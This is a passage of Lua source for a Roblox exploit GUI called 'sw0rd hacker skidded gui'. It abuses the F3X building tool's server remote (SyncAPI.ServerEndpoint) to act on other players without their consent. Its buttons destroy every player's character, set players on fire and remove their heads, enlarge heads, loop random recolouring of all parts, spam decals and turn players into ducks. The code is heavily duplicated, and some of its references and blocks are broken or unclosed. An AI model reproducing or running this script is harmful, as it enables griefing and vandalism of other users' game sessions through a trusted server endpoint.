0, 0.5768563747406006, 0); -- StarterGui.F3XHUB.Bar.Main.Skybox.UICorner G2L["26"] = Instance.new("UICorner", G2L["25"]); G2L["26"]["CornerRadius"] = UDim.new(0, 4); -- StarterGui.F3XHUB.Bar.Main.Skybox.LocalScript G2L["27"] = Instance.new("LocalScript", G2L["25"]); -- StarterGui.F3XHUB.Bar.Main.Peircer G2L["28"] = Instance.new("TextButton", G2L["3"]); G2L["28"]["TextWrapped"] = true; G2L["28"]["BorderSizePixel"] = 0; G2L["28"]["TextScaled"] = true; G2L["28"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["28"]["TextSize"] = 14; G2L["28"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["28"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["28"]["Size"] = UDim2.new(0.2614651620388031, 0, 0.09473495930433273, 0); G2L["28"]["Name"] = [[Peircer]]; G2L["28"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["28"]["Text"] = [[Neon]]; G2L["28"]["Position"] = UDim2.new(0.06100853905081749, 0, 0.7503573298454285, 0); -- StarterGui.F3XHUB.Bar.Main.Peircer.UICorner G2L["29"] = Instance.new("UICorner", G2L["28"]); G2L["29"]["CornerRadius"] = UDim.new(0, 4); -- StarterGui.F3XHUB.Bar.Main.Peircer.LocalScript G2L["2a"] = Instance.new("LocalScript", G2L["28"]); -- StarterGui.F3XHUB.Bar.Main.StickAll G2L["2b"] = Instance.new("TextButton", G2L["3"]); G2L["2b"]["TextWrapped"] = true; G2L["2b"]["BorderSizePixel"] = 0; G2L["2b"]["TextScaled"] = true; G2L["2b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2b"]["TextSize"] = 14; G2L["2b"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2b"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2b"]["Size"] = UDim2.new(0.2614651620388031, 0, 0.09473495930433273, 0); G2L["2b"]["Name"] = [[StickAll]]; G2L["2b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2b"]["Text"] = [[StickAll]]; G2L["2b"]["Position"] = UDim2.new(0.36823010444641113, 0, 0.7503573298454285, 0); -- StarterGui.F3XHUB.Bar.Main.StickAll.UICorner G2L["2c"] = Instance.new("UICorner", G2L["2b"]); G2L["2c"]["CornerRadius"] = UDim.new(0, 4); -- StarterGui.F3XHUB.Bar.Main.StickAll.LocalScript G2L["2d"] = Instance.new("LocalScript", G2L["2b"]); -- StarterGui.F3XHUB.Bar.Main.TwigAll G2L["2e"] = Instance.new("TextButton", G2L["3"]); G2L["2e"]["TextWrapped"] = true; G2L["2e"]["BorderSizePixel"] = 0; G2L["2e"]["TextScaled"] = true; G2L["2e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2e"]["TextSize"] = 14; G2L["2e"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2e"]["Size"] = UDim2.new(0.2636440396308899, 0, 0.09473495930433273, 0); G2L["2e"]["Name"] = [[TwigAll]]; G2L["2e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2e"]["Text"] = [[Loop Rotations]]; G2L["2e"]["Position"] = UDim2.new(0.6710939407348633, 0, 0.7503573298454285, 0); -- StarterGui.F3XHUB.Bar.Main.TwigAll.UICorner G2L["2f"] = Instance.new("UICorner", G2L["2e"]); G2L["2f"]["CornerRadius"] = UDim.new(0, 4); -- StarterGui.F3XHUB.Bar.Main.TwigAll.LocalScript G2L["30"] = Instance.new("LocalScript", G2L["2e"]); -- StarterGui.F3XHUB.Bar.Main.FireParts G2L["31"] = Instance.new("TextButton", G2L["3"]); G2L["31"]["TextWrapped"] = true; G2L["31"]["BorderSizePixel"] = 0; G2L["31"]["TextScaled"] = true; G2L["31"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["31"]["TextSize"] = 14; G2L["31"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["31"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["31"]["Size"] = UDim2.new(0.2614651620388031, 0, 0.09061604738235474, 0); G2L["31"]["Name"] = [[FireParts]]; G2L["31"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["31"]["Text"] = [[Fire Parts]]; G2L["31"]["Position"] = UDim2.new(0.36823010444641113, 0, 0.8739246726036072, 0); G2L["5555"] = Instance.new("TextButton", G2L["3"]); G2L["5555"]["TextWrapped"] = true; G2L["5555"]["BorderSizePixel"] = 0; G2L["5555"]["TextScaled"] = true; G2L["5555"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["5555"]["TextSize"] = 14; G2L["5555"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["5555"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["5555"]["Size"] = UDim2.new(0.2614651620388031, 0, 0.09061604738235474, 0); G2L["5555"]["Name"] = [[FireParts]]; G2L["5555"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["5555"]["Text"] = [[Sky 2]]; G2L["5555"]["Position"] = UDim2.new(0.06, 0, 0.8739246726036072, 0); -- StarterGui.F3XHUB.Bar.Main.FireParts.UICorner G2L["32"] = Instance.new("UICorner", G2L["31"]); G2L["32"]["CornerRadius"] = UDim.new(0, 4); G2L["eee"] = Instance.new("UICorner", G2L["5555"]); G2L["eee"]["CornerRadius"] = UDim.new(0, 4); -- StarterGui.F3XHUB.Bar.Main.FireParts.LocalScript G2L["33"] = Instance.new("LocalScript", G2L["31"]); -- sky 2 G2L["aaa"] = Instance.new("LocalScript", G2L["5555"]); -- StarterGui.F3XHUB.Bar.Title G2L["34"] = Instance.new("TextLabel", G2L["2"]); G2L["34"]["TextWrapped"] = true; G2L["34"]["BorderSizePixel"] = 0; G2L["34"]["TextScaled"] = true; G2L["34"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["34"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["34"]["TextSize"] = 14; G2L["34"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["34"]["Size"] = UDim2.new(0.4410480558872223, 0, 0.785714328289032, 0); G2L["34"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["34"]["Text"] = [[sw0rd hacker skidded gui]]; G2L["34"]["Name"] = [[Title]]; G2L["34"]["BackgroundTransparency"] = 1; G2L["34"]["Position"] = UDim2.new(0.03711787238717079, 0, 0.1250000149011612, 0); -- StarterGui.F3XHUB.Bar.OpenCloseKeybind G2L["35"] = Instance.new("LocalScript", G2L["2"]); G2L["35"]["Name"] = [[OpenCloseKeybind]]; -- StarterGui.F3XHUB.Bar.MinimizeButton G2L["36"] = Instance.new("TextButton", G2L["2"]); G2L["36"]["BorderSizePixel"] = 0; G2L["36"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["36"]["TextSize"] = 14; G2L["36"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["36"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["36"]["Size"] = UDim2.new(0.19213974475860596, 0, 0.5714285969734192, 0); G2L["36"]["Name"] = [[MinimizeButton]]; G2L["36"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["36"]["Text"] = [[]]; G2L["36"]["Position"] = UDim2.new(0.6528384685516357, 0, 0.2321428656578064, 0); -- StarterGui.F3XHUB.Bar.MinimizeButton.UICorner G2L["37"] = Instance.new("UICorner", G2L["36"]); G2L["37"]["CornerRadius"] = UDim.new(1, 9); -- StarterGui.F3XHUB.Bar.MinimizeButton.LocalScript G2L["38"] = Instance.new("LocalScript", G2L["36"]); -- StarterGui.F3XHUB.Bar.CloseButton G2L["39"] = Instance.new("TextButton", G2L["2"]); G2L["39"]["BorderSizePixel"] = 0; G2L["39"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["39"]["TextSize"] = 14; G2L["39"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["39"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["39"]["Size"] = UDim2.new(0.0786026269197464, 0, 0.6071429252624512, 0); G2L["39"]["Name"] = [[CloseButton]]; G2L["39"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["39"]["Text"] = [[]]; G2L["39"]["Position"] = UDim2.new(0.85807865858078, 0, 0.1964285969734192, 0); -- StarterGui.F3XHUB.Bar.CloseButton.UICorner G2L["3a"] = Instance.new("UICorner", G2L["39"]); G2L["3a"]["CornerRadius"] = UDim.new(1, 9); -- StarterGui.F3XHUB.Bar.CloseButton.LocalScript G2L["3b"] = Instance.new("LocalScript", G2L["39"]); -- StarterGui.F3XHUB.Bar.DraggableScript G2L["3c"] = Instance.new("LocalScript", G2L["2"]); G2L["3c"]["Name"] = [[DraggableScript]]; -- StarterGui.F3XHUB.Bar.Main.BigHead.LocalScript local function C_6() local script = G2L["6"]; script.Parent.MouseButton1Down:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function BigHead(player) local chara = player.Character spawn(function() SetLocked(chara.Head,false) MeshResize(chara.Head,Vector3.new(10,10,10)) end) end for i,players in game.Players:GetPlayers() do BigHead(players) end end) end; task.spawn(C_6); -- StarterGui.F3XHUB.Bar.Main.BumAll.LocalScript local function C_9() local script = G2L["9"]; script.Parent.MouseButton1Down:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function Punish(player) char = player.Character DestroyPart(char) end for i,v in game.Players:GetPlayers() do --zzspawn(function() pcall(function() Punish(v) end) --end) end end) end; task.spawn(C_9); -- StarterGui.F3XHUB.Bar.Main.ColorAll.LocalScript local function C_c() local script = G2L["c"]; script.Parent.MouseButton1Down:Connect(function() while wait() do --rgrg local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function randomise() for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) Color(v,Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))) end) end end end randomise() end end) end; task.spawn(C_c); -- StarterGui.F3XHUB.Bar.Main.DecalSpam.LocalScript local function C_f() local script = G2L["f"]; script.Parent.MouseButton1Down:Connect(function() --rgrg local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("137878597662886") end) coroutine.wrap(ZYJPOKE_fake_script)() local function IGAFG_fake_script() -- Duckify.LocalScript local script = Instance.new('LocalScript', Duckify) script.Parent.MouseButton1Click:Connect(function() --rgrg local player = game.Players.LocalPlayer local chara = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = workspace.Part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part, }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = workspace.Part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Duckify(player) for i,v in player.Character:GetDescendants() do if v:IsA("BasePart") then pcall(function() SetLocked(v,false) SetTrans(v,1) end) end end char = player.Character --spawn(function() spawn(function() SetAnchor(true,char.HumanoidRootPart) CreatePart(char.HumanoidRootPart.CFrame,char) SetCollision(char.Part,false) SetName(char.Part, "Duck") end) repeat wait() until char:FindFirstChild("Duck") spawn(function() SetLocked(char.Duck,false) SetLocked(char.HumanoidRootPart,false) Weld(char.Duck,char.HumanoidRootPart,char.Duck) SetAnchor(false,char.Duck) AddMesh(char.Duck) end) repeat wait() until char.Duck:FindFirstChild("Mesh") MeshResize(char.Duck,Vector3.new(8,8,8)) SetMesh(char.Duck,"10749878672") SetTexture(char.Duck,"10749878886") SetAnchor(false,char.HumanoidRootPart) --end) end for i,v in game.Players:GetPlayers() do --spawn(function() Duckify(v) --end) end end) end end; task.spawn(C_f); -- StarterGui.F3XHUB.Bar.Main.FireAll.LocalScript local function C_12() local script = G2L["12"]; script.Parent.MouseButton1Down:Connect(function() --rgrg local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = workspace.Part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function AddFire(part) local args = { [1] = "CreateDecorations", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Fire" } } } _(args) end function Fire(player) for i,v in player.Character:GetDescendants() do if v:IsA("BasePart") then AddFire(v) end end DestroyPart(player.Character.Head) end for i,v in game.Players:GetPlayers() do spawn(function() pcall(function() Fire(v) end) end) end end) coroutine.wrap(YTBL_fake_script)() local function YNEKD_fake_script() -- Luigirain.LocalScript local script = Instance.new('LocalScript', Luigirain) script.Parent.MouseButton1Click:Connect(function() --rgrg local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = workspace } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = workspace.Part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local 